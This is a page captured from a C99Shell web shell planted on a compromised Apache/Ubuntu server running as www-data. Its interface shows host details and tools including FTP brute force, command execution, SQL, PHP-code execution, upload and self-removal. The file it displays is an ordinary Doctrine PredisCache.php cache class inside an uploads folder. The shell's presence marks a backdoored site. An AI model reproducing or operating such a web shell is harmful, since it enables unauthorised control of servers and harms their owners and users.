!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/doctrine/cache/lib/Doctrine/Common/Cache/   drwxr-xr-x
Free 13.18 GB of 57.97 GB (22.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PredisCache.php (3.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\Common\Cache;

use 
Predis\ClientInterface;

use function 
array_combine;
use function 
array_filter;
use function 
array_map;
use function 
array_values;
use function 
call_user_func_array;
use function 
serialize;
use function 
unserialize;

/**
 * Predis cache provider.
 *
 * @deprecated Deprecated without replacement in doctrine/cache 1.11. This class will be dropped in 2.0
 */
class PredisCache extends CacheProvider
{
    
/** @var ClientInterface */
    
private $client;

    public function 
__construct(ClientInterface $client)
    {
        
$this->client $client;
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doFetch($id)
    {
        
$result $this->client->get($id);
        if (
$result === null) {
            return 
false;
        }

        return 
unserialize($result);
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doFetchMultiple(array $keys)
    {
        
$fetchedItems call_user_func_array([$this->client'mget'], array_values($keys));

        return 
array_map('unserialize'array_filter(array_combine($keys$fetchedItems)));
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doSaveMultiple(array $keysAndValues$lifetime 0)
    {
        if (
$lifetime) {
            
$success true;

            
// Keys have lifetime, use SETEX for each of them
            
foreach ($keysAndValues as $key => $value) {
                
$response = (string) $this->client->setex($key$lifetimeserialize($value));

                if (
$response == 'OK') {
                    continue;
                }

                
$success false;
            }

            return 
$success;
        }

        
// No lifetime, use MSET
        
$response $this->client->mset(array_map(static function ($value) {
            return 
serialize($value);
        }, 
$keysAndValues));

        return (string) 
$response == 'OK';
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doContains($id)
    {
        return (bool) 
$this->client->exists($id);
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doSave($id$data$lifeTime 0)
    {
        
$data serialize($data);
        if (
$lifeTime 0) {
            
$response $this->client->setex($id$lifeTime$data);
        } else {
            
$response $this->client->set($id$data);
        }

        return 
$response === true || $response == 'OK';
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doDelete($id)
    {
        return 
$this->client->del($id) >= 0;
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doDeleteMultiple(array $keys)
    {
        return 
$this->client->del($keys) >= 0;
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doFlush()
    {
        
$response $this->client->flushdb();

        return 
$response === true || $response == 'OK';
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doGetStats()
    {
        
$info $this->client->info();

        return [
            
Cache::STATS_HITS              => $info['Stats']['keyspace_hits'],
            
Cache::STATS_MISSES            => $info['Stats']['keyspace_misses'],
            
Cache::STATS_UPTIME            => $info['Server']['uptime_in_seconds'],
            
Cache::STATS_MEMORY_USAGE      => $info['Memory']['used_memory'],
            
Cache::STATS_MEMORY_AVAILABLE  => false,
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--